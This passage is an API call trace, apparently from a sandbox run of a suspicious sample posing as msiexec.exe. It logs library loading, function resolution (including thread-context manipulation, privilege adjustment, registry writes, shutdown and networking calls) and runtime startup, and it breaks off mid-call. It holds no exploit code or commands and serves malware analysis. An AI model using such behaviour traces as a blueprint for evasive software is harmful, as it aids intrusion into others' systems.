lpProcName="FileTimeToLocalFileTime") returned 0x75dde29e [0110.920] GetProcAddress (hModule=0x75dc0000, lpProcName="CreateEventW") returned 0x75dd183e [0110.920] GetProcAddress (hModule=0x75dc0000, lpProcName="ExitThread") returned 0x7777d598 [0110.920] GetProcAddress (hModule=0x75dc0000, lpProcName="ExitProcess") returned 0x75dd7a10 [0110.920] GetProcAddress (hModule=0x75dc0000, lpProcName="GetModuleFileNameW") returned 0x75dd4950 [0110.920] GetProcAddress (hModule=0x75dc0000, lpProcName="GetTimeZoneInformation") returned 0x75dd465a [0110.920] GetProcAddress (hModule=0x75dc0000, lpProcName="AddVectoredExceptionHandler") returned 0x7779742b [0110.920] GetProcAddress (hModule=0x75dc0000, lpProcName="Sleep") returned 0x75dd10ff [0110.920] GetProcAddress (hModule=0x75dc0000, lpProcName="WaitForSingleObject") returned 0x75dd1136 [0110.920] GetProcAddress (hModule=0x75dc0000, lpProcName="LeaveCriticalSection") returned 0x77742270 [0110.920] GetProcAddress (hModule=0x75dc0000, lpProcName="lstrlenA") returned 0x75dd5a4b [0110.920] GetProcAddress (hModule=0x75dc0000, lpProcName="SetEnvironmentVariableA") returned 0x75dde331 [0110.920] GetProcAddress (hModule=0x75dc0000, lpProcName="LCMapStringW") returned 0x75dd17b9 [0110.920] GetProcAddress (hModule=0x75dc0000, lpProcName="CompareStringW") returned 0x75dd3bca [0110.920] GetProcAddress (hModule=0x75dc0000, lpProcName="GetStringTypeW") returned 0x75dd1946 [0110.920] GetProcAddress (hModule=0x75dc0000, lpProcName="SetStdHandle") returned 0x75e5454f [0110.920] GetProcAddress (hModule=0x75dc0000, lpProcName="ReadConsoleW") returned 0x75e7739a [0110.920] GetProcAddress (hModule=0x75dc0000, lpProcName="GetConsoleCP") returned 0x75e77bff [0110.921] GetProcAddress (hModule=0x75dc0000, lpProcName="TlsFree") returned 0x75dd3587 [0110.921] GetProcAddress (hModule=0x75dc0000, lpProcName="TlsSetValue") returned 0x75dd14fb [0110.921] GetProcAddress (hModule=0x75dc0000, lpProcName="TlsGetValue") returned 0x75dd11e0 [0110.921] GetProcAddress (hModule=0x75dc0000, lpProcName="TlsAlloc") returned 0x75dd49ad [0110.921] GetProcAddress (hModule=0x75dc0000, lpProcName="SetUnhandledExceptionFilter") returned 0x75dd87c9 [0110.921] GetProcAddress (hModule=0x75dc0000, lpProcName="UnhandledExceptionFilter") returned 0x75df772f [0110.921] GetProcAddress (hModule=0x75dc0000, lpProcName="FreeEnvironmentStringsW") returned 0x75dd51cb [0110.921] GetProcAddress (hModule=0x75dc0000, lpProcName="GetEnvironmentStringsW") returned 0x75dd51e3 [0110.921] GetProcAddress (hModule=0x75dc0000, lpProcName="GetModuleFileNameA") returned 0x75dd14b1 [0110.921] GetProcAddress (hModule=0x75dc0000, lpProcName="GetCurrentDirectoryW") returned 0x75dd5611 [0110.921] GetProcAddress (hModule=0x75dc0000, lpProcName="GetStartupInfoW") returned 0x75dd4d40 [0110.921] GetProcAddress (hModule=0x75dc0000, lpProcName="RtlUnwind") returned 0x75dfd1c3 [0110.921] GetProcAddress (hModule=0x75dc0000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x75dd1916 [0110.921] GetProcAddress (hModule=0x75dc0000, lpProcName="GetCPInfo") returned 0x75dd5189 [0110.921] GetProcAddress (hModule=0x75dc0000, lpProcName="GetOEMCP") returned 0x75dfd1a1 [0110.921] GetProcAddress (hModule=0x75dc0000, lpProcName="GetACP") returned 0x75dd179c [0110.921] GetProcAddress (hModule=0x75dc0000, lpProcName="IsValidCodePage") returned 0x75dd4493 [0110.922] GetProcAddress (hModule=0x75dc0000, lpProcName="InterlockedIncrement") returned 0x75dd1400 [0110.922] GetProcAddress (hModule=0x75dc0000, lpProcName="RaiseException") returned 0x75dd58a6 [0110.922] GetProcAddress (hModule=0x75dc0000, lpProcName="LoadLibraryExW") returned 0x75dd495d [0110.922] GetProcAddress (hModule=0x75dc0000, lpProcName="SetConsoleMode") returned 0x75dea77d [0110.922] GetProcAddress (hModule=0x75dc0000, lpProcName="ReadConsoleInputA") returned 0x75e76f53 [0110.922] GetProcAddress (hModule=0x75dc0000, lpProcName="IsProcessorFeaturePresent") returned 0x75dd5235 [0110.922] GetProcAddress (hModule=0x75dc0000, lpProcName="IsDebuggerPresent") returned 0x75dd4a5d [0110.922] GetProcAddress (hModule=0x75dc0000, lpProcName="EnterCriticalSection") returned 0x777422b0 [0110.922] GetProcAddress (hModule=0x75dc0000, lpProcName="DeleteFileW") returned 0x75dd89b3 [0110.922] GetProcAddress (hModule=0x75dc0000, lpProcName="SetConsoleCtrlHandler") returned 0x75dd8a09 [0110.922] GetProcAddress (hModule=0x75dc0000, lpProcName="InterlockedDecrement") returned 0x75dd13f0 [0110.922] GetProcAddress (hModule=0x75dc0000, lpProcName="DecodePointer") returned 0x77759d35 [0110.922] GetProcAddress (hModule=0x75dc0000, lpProcName="EncodePointer") returned 0x77760fcb [0110.922] GetProcAddress (hModule=0x75dc0000, lpProcName="GetCommandLineA") returned 0x75dd51a1 [0110.922] GetProcAddress (hModule=0x75dc0000, lpProcName="GetModuleHandleExW") returned 0x75dd4a6f [0110.922] GetProcAddress (hModule=0x75dc0000, lpProcName="VirtualQuery") returned 0x75dd445a [0110.922] GetProcAddress (hModule=0x75dc0000, lpProcName="ResumeThread") returned 0x75dd43ef [0110.922] GetProcAddress (hModule=0x75dc0000, lpProcName="SuspendThread") returned 0x75df7d7e [0110.923] GetProcAddress (hModule=0x75dc0000, lpProcName="OpenThread") returned 0x75de1248 [0110.923] GetProcAddress (hModule=0x75dc0000, lpProcName="InterlockedExchange") returned 0x75dd1462 [0110.923] GetProcAddress (hModule=0x75dc0000, lpProcName="FlushInstructionCache") returned 0x75dd4393 [0110.923] GetProcAddress (hModule=0x75dc0000, lpProcName="GetCurrentProcess") returned 0x75dd1809 [0110.923] GetProcAddress (hModule=0x75dc0000, lpProcName="SetThreadContext") returned 0x75e55393 [0110.923] GetProcAddress (hModule=0x75dc0000, lpProcName="GetThreadContext") returned 0x75df79d4 [0110.923] GetProcAddress (hModule=0x75dc0000, lpProcName="TryEnterCriticalSection") returned 0x77752500 [0110.923] GetProcAddress (hModule=0x75dc0000, lpProcName="GetFullPathNameW") returned 0x75dd40d4 [0110.923] GetProcAddress (hModule=0x75dc0000, lpProcName="GetFullPathNameA") returned 0x75dde2c1 [0110.923] GetProcAddress (hModule=0x75dc0000, lpProcName="ExpandEnvironmentStringsW") returned 0x75dd4173 [0110.923] GetProcAddress (hModule=0x75dc0000, lpProcName="lstrcmpiW") returned 0x75ded5cd [0110.923] GetProcAddress (hModule=0x75dc0000, lpProcName="GetTempPathW") returned 0x75ded4dc [0110.923] GetProcAddress (hModule=0x75dc0000, lpProcName="CreateFileA") returned 0x75dd53c6 [0110.923] GetProcAddress (hModule=0x75dc0000, lpProcName="GetFileSize") returned 0x75dd196e [0110.923] GetProcAddress (hModule=0x75dc0000, lpProcName="HeapCompact") returned 0x75dd4717 [0110.923] GetProcAddress (hModule=0x75dc0000, lpProcName="SetFilePointer") returned 0x75dd17d1 [0110.923] GetProcAddress (hModule=0x75dc0000, lpProcName="MapViewOfFile") returned 0x75dd18f1 [0110.937] GetProcAddress (hModule=0x75dc0000, lpProcName="UnmapViewOfFile") returned 0x75dd1826 [0110.937] GetProcAddress (hModule=0x75dc0000, lpProcName="InterlockedCompareExchange") returned 0x75dd1484 [0110.937] GetProcAddress (hModule=0x75dc0000, lpProcName="UnlockFile") returned 0x75dfcf36 [0110.937] GetProcAddress (hModule=0x75dc0000, lpProcName="FlushViewOfFile") returned 0x75dfb909 [0110.937] GetProcAddress (hModule=0x75dc0000, lpProcName="LockFile") returned 0x75dfcf1e [0110.937] GetProcAddress (hModule=0x75dc0000, lpProcName="WaitForSingleObjectEx") returned 0x75dd1151 [0110.937] GetProcAddress (hModule=0x75dc0000, lpProcName="OutputDebugStringW") returned 0x75dfd1d4 [0110.937] GetProcAddress (hModule=0x75dc0000, lpProcName="UnlockFileEx") returned 0x75dfd594 [0110.937] GetProcAddress (hModule=0x75dc0000, lpProcName="GetSystemTimeAsFileTime") returned 0x75dd3509 [0110.938] GetProcAddress (hModule=0x75dc0000, lpProcName="FormatMessageA") returned 0x75df5fbd [0110.938] GetProcAddress (hModule=0x75dc0000, lpProcName="HeapDestroy") returned 0x75dd35b7 [0110.938] GetProcAddress (hModule=0x75dc0000, lpProcName="GetFileAttributesA") returned 0x75dd5414 [0110.938] GetProcAddress (hModule=0x75dc0000, lpProcName="HeapCreate") returned 0x75dd4a2d [0110.938] GetProcAddress (hModule=0x75dc0000, lpProcName="GetVersion") returned 0x75dd4467 [0110.938] GetProcAddress (hModule=0x75dc0000, lpProcName="GetModuleHandleA") returned 0x75dd1245 [0110.938] GetProcAddress (hModule=0x75dc0000, lpProcName="QueryPerformanceCounter") returned 0x75dd1725 [0110.938] GetProcAddress (hModule=0x75dc0000, lpProcName="GlobalMemoryStatus") returned 0x75dd8b6d [0110.938] GetProcAddress (hModule=0x75dc0000, lpProcName="FlushConsoleInputBuffer") returned 0x75e77a9f [0110.938] GetProcAddress (hModule=0x75dc0000, lpProcName="SystemTimeToFileTime") returned 0x75dd5a7e [0110.938] GetProcAddress (hModule=0x75dc0000, lpProcName="DeleteFileA") returned 0x75dd5444 [0110.938] GetProcAddress (hModule=0x75dc0000, lpProcName="AreFileApisANSI") returned 0x75e540d1 [0110.938] GetProcAddress (hModule=0x75dc0000, lpProcName="GetTempPathA") returned 0x75df276c [0110.938] GetProcAddress (hModule=0x75dc0000, lpProcName="GetVersionExA") returned 0x75dd3519 [0110.938] GetProcAddress (hModule=0x75dc0000, lpProcName="GetFileAttributesExW") returned 0x75dd4574 [0110.938] GetProcAddress (hModule=0x75dc0000, lpProcName="GetSystemInfo") returned 0x75dd49ca [0110.938] GetProcAddress (hModule=0x75dc0000, lpProcName="GetDiskFreeSpaceA") returned 0x75e5433f [0110.938] GetProcAddress (hModule=0x75dc0000, lpProcName="CreateFileMappingW") returned 0x75dd1909 [0110.938] GetProcAddress (hModule=0x75dc0000, lpProcName="CreateFileMappingA") returned 0x75dd5506 [0110.939] GetProcAddress (hModule=0x75dc0000, lpProcName="GetDiskFreeSpaceW") returned 0x75def7aa [0110.939] GetProcAddress (hModule=0x75dc0000, lpProcName="LockFileEx") returned 0x75dfd57c [0110.939] GetProcAddress (hModule=0x75dc0000, lpProcName="HeapSize") returned 0x77753002 [0110.939] GetProcAddress (hModule=0x75dc0000, lpProcName="HeapValidate") returned 0x75deb17b [0110.939] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x77280000 [0110.939] GetProcAddress (hModule=0x77280000, lpProcName="CryptAcquireContextW") returned 0x7728df14 [0110.939] GetProcAddress (hModule=0x77280000, lpProcName="RegDeleteKeyW") returned 0x77291272 [0110.939] GetProcAddress (hModule=0x77280000, lpProcName="RegDeleteKeyA") returned 0x772aa8b7 [0110.939] GetProcAddress (hModule=0x77280000, lpProcName="GetLengthSid") returned 0x7729413b [0110.939] GetProcAddress (hModule=0x77280000, lpProcName="DeregisterEventSource") returned 0x772935dd [0110.939] GetProcAddress (hModule=0x77280000, lpProcName="RegisterEventSourceA") returned 0x77292d46 [0110.939] GetProcAddress (hModule=0x77280000, lpProcName="ReportEventA") returned 0x77283ee9 [0110.939] GetProcAddress (hModule=0x77280000, lpProcName="SetNamedSecurityInfoW") returned 0x77289fe2 [0110.939] GetProcAddress (hModule=0x77280000, lpProcName="GetSecurityDescriptorSacl") returned 0x77294608 [0110.940] GetProcAddress (hModule=0x77280000, lpProcName="SetSecurityDescriptorDacl") returned 0x7729415e [0110.940] GetProcAddress (hModule=0x77280000, lpProcName="SetSecurityDescriptorSacl") returned 0x77294680 [0110.940] GetProcAddress (hModule=0x77280000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorW") returned 0x77291f59 [0110.940] GetProcAddress (hModule=0x77280000, lpProcName="InitializeSecurityDescriptor") returned 0x77294620 [0110.940] GetProcAddress (hModule=0x77280000, lpProcName="RegSetValueExW") returned 0x772914d6 [0110.940] GetProcAddress (hModule=0x77280000, lpProcName="RegQueryValueExW") returned 0x772946ad [0110.940] GetProcAddress (hModule=0x77280000, lpProcName="RegOpenKeyExW") returned 0x7729468d [0110.940] GetProcAddress (hModule=0x77280000, lpProcName="GetSidSubAuthority") returned 0x77290e24 [0110.940] GetProcAddress (hModule=0x77280000, lpProcName="GetSidSubAuthorityCount") returned 0x77290e0c [0110.940] GetProcAddress (hModule=0x77280000, lpProcName="LookupPrivilegeValueW") returned 0x772941b3 [0110.940] GetProcAddress (hModule=0x77280000, lpProcName="AdjustTokenPrivileges") returned 0x7729418e [0110.940] GetProcAddress (hModule=0x77280000, lpProcName="OpenThreadToken") returned 0x7729432c [0110.940] GetProcAddress (hModule=0x77280000, lpProcName="GetTokenInformation") returned 0x7729431c [0110.940] GetProcAddress (hModule=0x77280000, lpProcName="OpenProcessToken") returned 0x77294304 [0110.940] GetProcAddress (hModule=0x77280000, lpProcName="RegCreateKeyExW") returned 0x772940fe [0110.940] GetProcAddress (hModule=0x77280000, lpProcName="CryptCreateHash") returned 0x7728df4e [0110.940] GetProcAddress (hModule=0x77280000, lpProcName="CryptHashData") returned 0x7728df36 [0110.940] GetProcAddress (hModule=0x77280000, lpProcName="CryptDestroyHash") returned 0x7728df66 [0110.940] GetProcAddress (hModule=0x77280000, lpProcName="CryptGetHashParam") returned 0x7728df7e [0110.941] GetProcAddress (hModule=0x77280000, lpProcName="CryptReleaseContext") returned 0x7728e124 [0110.941] GetProcAddress (hModule=0x77280000, lpProcName="RegCreateKeyExA") returned 0x77291469 [0110.941] GetProcAddress (hModule=0x77280000, lpProcName="RegQueryValueExA") returned 0x772948ef [0110.941] GetProcAddress (hModule=0x77280000, lpProcName="RegOpenKeyExA") returned 0x77294907 [0110.941] GetProcAddress (hModule=0x77280000, lpProcName="RegSetValueExA") returned 0x772914b3 [0110.941] GetProcAddress (hModule=0x77280000, lpProcName="RegCloseKey") returned 0x7729469d [0110.941] GetProcAddress (hModule=0x77280000, lpProcName="InitiateSystemShutdownExW") returned 0x772ddb3a [0110.941] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x76f10000 [0110.941] GetProcAddress (hModule=0x76f10000, lpProcName="PathAddBackslashW") returned 0x76f2c177 [0110.941] GetProcAddress (hModule=0x76f10000, lpProcName="StrCmpNIA") returned 0x76f1d11c [0110.941] GetProcAddress (hModule=0x76f10000, lpProcName="PathRemoveBackslashW") returned 0x76f25c62 [0110.941] GetProcAddress (hModule=0x76f10000, lpProcName="PathCombineW") returned 0x76f2c39c [0110.941] GetProcAddress (hModule=0x76f10000, lpProcName="PathMatchSpecW") returned 0x76f286f7 [0110.942] GetProcAddress (hModule=0x76f10000, lpProcName="UrlUnescapeA") returned 0x76f3c6fb [0110.942] GetProcAddress (hModule=0x76f10000, lpProcName="PathAddExtensionW") returned 0x76f12589 [0110.942] GetProcAddress (hModule=0x76f10000, lpProcName="wvnsprintfA") returned 0x76f3edfe [0110.942] GetProcAddress (hModule=0x76f10000, lpProcName="wvnsprintfW") returned 0x76f5066c [0110.942] GetProcAddress (hModule=0x76f10000, lpProcName="PathRemoveFileSpecW") returned 0x76f23248 [0110.942] GetProcAddress (hModule=0x76f10000, lpProcName="PathRenameExtensionW") returned 0x76f4d32a [0110.942] GetProcAddress (hModule=0x76f10000, lpProcName="PathIsURLW") returned 0x76f255bf [0110.942] GetProcAddress (hModule=0x76f10000, lpProcName="PathSkipRootW") returned 0x76f3fbf5 [0110.942] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fe0000 [0110.944] GetProcAddress (hModule=0x75fe0000, lpProcName="SHGetFolderPathA") returned 0x760f7804 [0110.944] GetProcAddress (hModule=0x75fe0000, lpProcName="ShellExecuteW") returned 0x75ff3c71 [0110.945] GetProcAddress (hModule=0x75fe0000, lpProcName="SHGetFolderPathW") returned 0x76065708 [0110.945] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x757e0000 [0110.945] GetProcAddress (hModule=0x757e0000, lpProcName="CharLowerA") returned 0x75803e75 [0110.945] GetProcAddress (hModule=0x757e0000, lpProcName="CharUpperW") returned 0x757ff350 [0110.945] GetProcAddress (hModule=0x757e0000, lpProcName="MessageBoxA") returned 0x7584fd1e [0110.945] GetProcAddress (hModule=0x757e0000, lpProcName="GetUserObjectInformationW") returned 0x757f8068 [0110.945] GetProcAddress (hModule=0x757e0000, lpProcName="GetProcessWindowStation") returned 0x757f9eea [0110.945] GetProcAddress (hModule=0x757e0000, lpProcName="ExitWindowsEx") returned 0x75841497 [0110.945] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x76dd0000 [0110.948] GetProcAddress (hModule=0x76dd0000, lpProcName=0xb) returned 0x76dd311b [0110.948] GetProcAddress (hModule=0x76dd0000, lpProcName="freeaddrinfo") returned 0x76dd4b1b [0110.948] GetProcAddress (hModule=0x76dd0000, lpProcName="getaddrinfo") returned 0x76dd4296 [0110.948] GetProcAddress (hModule=0x76dd0000, lpProcName=0x5) returned 0x76dd7147 [0110.948] GetProcAddress (hModule=0x76dd0000, lpProcName=0x6) returned 0x76dd30af [0110.948] GetProcAddress (hModule=0x76dd0000, lpProcName=0x3) returned 0x76dd3918 [0110.948] GetProcAddress (hModule=0x76dd0000, lpProcName=0x1) returned 0x76dd68b6 [0110.949] GetProcAddress (hModule=0x76dd0000, lpProcName=0xf) returned 0x76dd2d8b [0110.949] GetProcAddress (hModule=0x76dd0000, lpProcName=0x6f) returned 0x76dd37ad [0110.949] GetProcAddress (hModule=0x76dd0000, lpProcName=0xc) returned 0x76ddb131 [0110.949] GetProcAddress (hModule=0x76dd0000, lpProcName=0x10) returned 0x76dd6b0e [0110.949] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x75990000 [0110.952] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x76e10000 [0110.957] LoadLibraryA (lpLibFileName="DNSAPI.dll") returned 0x74c60000 [0110.959] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x752e0000 [0110.959] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x75ed0000 [0110.959] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x54f91c | out: lpSystemTimeAsFileTime=0x54f91c*(dwLowDateTime=0x38a97bb0, dwHighDateTime=0x1d31ac1)) [0110.960] GetCurrentThreadId () returned 0x928 [0110.960] GetCurrentProcessId () returned 0x65c [0110.960] QueryPerformanceCounter (in: lpPerformanceCount=0x54f914 | out: lpPerformanceCount=0x54f914*=547494364) returned 1 [0110.960] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75dc0000 [0110.960] GetProcAddress (hModule=0x75dc0000, lpProcName="FlsAlloc") returned 0x75dd4f2b [0110.960] GetProcAddress (hModule=0x75dc0000, lpProcName="FlsFree") returned 0x75dd359f [0110.960] GetProcAddress (hModule=0x75dc0000, lpProcName="FlsGetValue") returned 0x75dd1252 [0110.960] GetProcAddress (hModule=0x75dc0000, lpProcName="FlsSetValue") returned 0x75dd4208 [0110.960] GetProcAddress (hModule=0x75dc0000, lpProcName="InitializeCriticalSectionEx") returned 0x75dd4d28 [0110.960] GetProcAddress (hModule=0x75dc0000, lpProcName="CreateSemaphoreExW") returned 0x75e54195 [0110.960] GetProcAddress (hModule=0x75dc0000, lpProcName="SetThreadStackGuarantee") returned 0x75ddd31f [0110.960] GetProcAddress (hModule=0x75dc0000, lpProcName="CreateThreadpoolTimer") returned 0x75deee7e [0110.960] GetProcAddress (hModule=0x75dc0000, lpProcName="SetThreadpoolTimer") returned 0x7776441c [0110.960] GetProcAddress (hModule=0x75dc0000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7778c50e [0110.960] GetProcAddress (hModule=0x75dc0000, lpProcName="CloseThreadpoolTimer") returned 0x7778c381 [0110.960] GetProcAddress (hModule=0x75dc0000, lpProcName="CreateThreadpoolWait") returned 0x75def088 [0110.961] GetProcAddress (hModule=0x75dc0000, lpProcName="SetThreadpoolWait") returned 0x777705d7 [0110.961] GetProcAddress (hModule=0x75dc0000, lpProcName="CloseThreadpoolWait") returned 0x7778ca24 [0110.961] GetProcAddress (hModule=0x75dc0000, lpProcName="FlushProcessWriteBuffers") returned 0x77740b8c [0110.961] GetProcAddress (hModule=0x75dc0000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x777ffde8 [0110.961] GetProcAddress (hModule=0x75dc0000, lpProcName="GetCurrentProcessorNumber") returned 0x77791e1d [0110.961] GetProcAddress (hModule=0x75dc0000, lpProcName="GetLogicalProcessorInformation") returned 0x75e54761 [0110.961] GetProcAddress (hModule=0x75dc0000, lpProcName="CreateSymbolicLinkW") returned 0x75e4cd11 [0110.961] GetProcAddress (hModule=0x75dc0000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0110.961] GetProcAddress (hModule=0x75dc0000, lpProcName="EnumSystemLocalesEx") returned 0x75e5424f [0110.961] GetProcAddress (hModule=0x75dc0000, lpProcName="CompareStringEx") returned 0x75e546b1 [0110.961] GetProcAddress (hModule=0x75dc0000, lpProcName="GetDateFormatEx") returned 0x75e66676 [0110.961] GetProcAddress (hModule=0x75dc0000, lpProcName="GetLocaleInfoEx") returned 0x75e54751 [0110.961] GetProcAddress (hModule=0x75dc0000, lpProcName="GetTimeFormatEx") returned 0x75e665f1 [0110.961] GetProcAddress (hModule=0x75dc0000, lpProcName="GetUserDefaultLocaleName") returned 0x75e547c1 [0110.961] GetProcAddress (hModule=0x75dc0000, lpProcName="IsValidLocaleName") returned 0x75e547e1 [0110.961] GetProcAddress (hModule=0x75dc0000, lpProcName="LCMapStringEx") returned 0x75e547f1 [0110.962] GetProcAddress (hModule=0x75dc0000, lpProcName="GetCurrentPackageId") returned 0x0 [0110.962] GetCurrentThreadId () returned 0x928 [0110.962] GetCommandLineA () returned="C:\\Windows\\syswow64\\msiexec.exe" [0110.962] GetEnvironmentStringsW () returned 0x82ec00* [0110.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1385, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1385 [0110.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1385, lpMultiByteStr=0x82f6e0, cbMultiByte=1385, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=::=::\\", lpUsedDefaultChar=0x0) returned 1385 [0110.962] FreeEnvironmentStringsW (penv=0x82ec00) returned 1 [0110.962] GetStartupInfoW (in: lpStartupInfo=0x54f838 | out: lpStartupInfo=0x54f838*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\syswow64\\msiexec.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x82ec00, hStdOutput=0x82f6e0, hStdError=0x82ebf8)) [0110.962] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0110.962] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0110.962] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0110.962] GetLastError () returned 0x7f [0110.962] SetLastError (dwErrCode=0x7f) [0110.962] GetLastError () returned 0x7f [0110.962] SetLastError (dwErrCode=0x7f) [0110.962] GetLastError () returned 0x7f [0110.962] SetLastError (dwErrCode=0x7f) [0110.962] GetACP () returned 0x4e4 [0110.962] GetLastError () returned 0x7f [0110.962] SetLastError (dwErrCode=0x7f) [0110.962] IsValidCodePage (CodePage=0x4e4) returned 1 [0110.962] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x54f83c | out: lpCPInfo=0x54f83c) returned 1 [0110.963] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x54f304 | out: lpCPInfo=0x54f304) returned 1 [0110.963] GetLastError () returned 0x7f [0110.963] SetLastError (dwErrCode=0x7f) [0110.963] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x54f718, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0110.963] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x54f718, cbMultiByte=256, lpWideCharStr=0x54f088, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0110.963] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x54f318 | out: lpCharType=0x54f318) returned 1 [0110.963] GetLastError () returned 0x7f [0110.963] SetLastError (dwErrCode=0x7f) [0110.963] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x54f718, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0110.963] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x54f718, cbMultiByte=256, lpWideCharStr=0x54f058, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0110.963] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0110.963] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, 